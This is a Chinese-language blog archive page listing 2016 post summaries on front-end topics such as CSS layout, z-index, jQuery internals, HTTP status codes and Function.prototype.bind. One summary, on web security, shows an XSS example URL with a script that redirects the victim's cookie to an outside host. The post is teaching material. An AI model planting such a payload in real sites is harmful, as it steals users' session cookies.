12 2016 档案
js面向对象之创建对象
摘要:工厂模式 工厂模式虽然解决了创建多个相似对象的问题,但却没有解决对象识别问题(即怎么样知道一个对象的类型)。因为全部都是Object,不像Date、Array等,因此出现了构造函数模式。 构造函数模式 构造函数模式与工厂模式比较有以下不同 没有显式地创建对象 直接将属性和方法赋给this对象 没有r 阅读全文
posted @ 2016-12-22 17:45 坚持不懈❥ 阅读(257) 评论(0) 推荐(0)
Web前端安全问题
摘要:1.XSS跨站脚本攻击(Cross Site Scripting) 1)通过<script> 举个例子:通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址: book.com/search?name=<script>document.location='http://vajoy/get?coo 阅读全文
posted @ 2016-12-22 14:15 坚持不懈❥ 阅读(8039) 评论(0) 推荐(0)
js操作cookie
摘要:// 删除cookiefunction unsetCookie(name) { document.cookie = name + "= ; expires=" + new Date(0);} 阅读全文
posted @ 2016-12-16 11:49 坚持不懈❥ 阅读(268) 评论(0) 推荐(0)
css清除浮动
摘要:第一种方法:结尾处加空div标签 clear:both 优点:这种方法兼容性好 缺点:但是有多余的标签 第二种方法:使用 :after 为元素 原理:IE8以上和非IE浏览器才支持:after,zoom(IE转有属性)可解决ie6,ie7浮动问题 优点:浏览器支持好、不容易出现怪问题(目前:大型网站 阅读全文
posted @ 2016-12-15 18:21 坚持不懈❥ 阅读(234) 评论(0) 推荐(0)
块级格式化上下文(block formatting context)
摘要:在CSS2.1中,有三种定位方案——普通流、浮动和绝对定位: 普通流:元素按照先后位置自上而下布局,inline元素水平排列,直到行被占满后换行,block元素则被渲染为完整的一行,除非指定,所有元素默认为普通流定位。 浮动:浮动布局中,元素首先按照普通流位置出现,然后根据浮动方向尽可能向左或右偏移 阅读全文
posted @ 2016-12-14 17:34 坚持不懈❥ 阅读(506) 评论(0) 推荐(0)
页面可见生Page Visibility
摘要:Page Visibility 会在浏览器的 document 对象上添加两个属性 hidden 和 visibilityState 。如果当前的标签被激活了,那么 document.hidden 的值为 false ,否则为 true 。visibilityState 则有4个可能值 1.hidd 阅读全文
posted @ 2016-12-14 12:00 坚持不懈❥ 阅读(330) 评论(0) 推荐(0)
css之z-index
摘要:要想z-index可以使用,就要配合定位元素使用即position 如果定位元素z-index没有发生嵌套: 1.后来居上的准则 2.哪个大,哪个上 例如 如果定位元素z-index发生嵌套: 1.祖先优先原则; 例如 其他参与层叠上下文的属性 1.display:flex 影响层叠,要和子元素配合 阅读全文
posted @ 2016-12-06 22:16 坚持不懈❥ 阅读(295) 评论(0) 推荐(0)
css之页面三列布局之左右两边宽度固定,中间自适应
摘要:左右两边宽度固定,中间自适应 左右两边绝对定位 可以利用浮动,左边的左浮动,右边的右浮动 css3 flex布局(html http://www.cnblogs.com/myzy/p/5919814.html) table布局 grid布局 (https://www.w3cplus.com/css3 阅读全文
posted @ 2016-12-06 11:36 坚持不懈❥ 阅读(850) 评论(0) 推荐(0)
css之页面两列布局
摘要:两列布局:左边固定,右边自适应 第一种方法:左边的div左浮动或者是绝对定位,右边的div加margin-left:左边div的宽度 html部分 css部分 第二种方法:BFC(块级格式化上下文) 对于BFC的理解可以看 http://www.cnblogs.com/vitruvi/p/43038 阅读全文
posted @ 2016-12-05 17:44 坚持不懈❥ 阅读(454) 评论(0) 推荐(0)
jquery源码学习之extend
摘要:jquery的extend方法现项目中经常使用,现在了解一下它的实现。 说起extend就要先了解一个jQuery的$.extend和$.fn.extend作用及区别 jQuery为开发插件提拱了两个方法,分别是: 1. jQuery.fn.extend(); 2. jQuery.extend(); 阅读全文
posted @ 2016-12-02 18:08 坚持不懈❥ 阅读(219) 评论(0) 推荐(0)
jquery源码学习之queue方法
摘要:队列模块的代码结构 静态方法jQuery下有queue,dequeue,_queueHooks这三种方法;静态方法不建议直接在外部调用; 实例方法.queue,.dequeue,.clearQueue,.delay,.promise 分别调用方法 引自:http://www.cnblogs.com/ 阅读全文
posted @ 2016-12-02 15:03 坚持不懈❥ 阅读(213) 评论(0) 推荐(0)
HTTP状态码详解
摘要:常用的 100 Continue 继续,一般在发送post请求时,已发送了http header之后服务端将返回此信息,表示确认,之后发送具体参数信息 200 OK 正常返回信息 201 Created 请求成功并且服务器创建了新的资源 202 Accepted 服务器已接受请求,但尚未处理 301 阅读全文
posted @ 2016-12-01 17:18 坚持不懈❥ 阅读(356) 评论(0) 推荐(0)
关于Function.prototype.bind
摘要:bind()方法会创建一个新函数,称为绑定函数。当调用这个绑定函数时,绑定函数会以创建它时传入bind()方法的第一个参数作为 this,传入 bind() 方法的第二个以及以后的参数加上绑定函数运行时本身的参数按照顺序作为原函数的参数来调用原函数。 实际使用中我们经常会碰到这样的问题: 这个时候输 阅读全文
posted @ 2016-12-01 10:27 坚持不懈❥ 阅读(153) 评论(0) 推荐(0)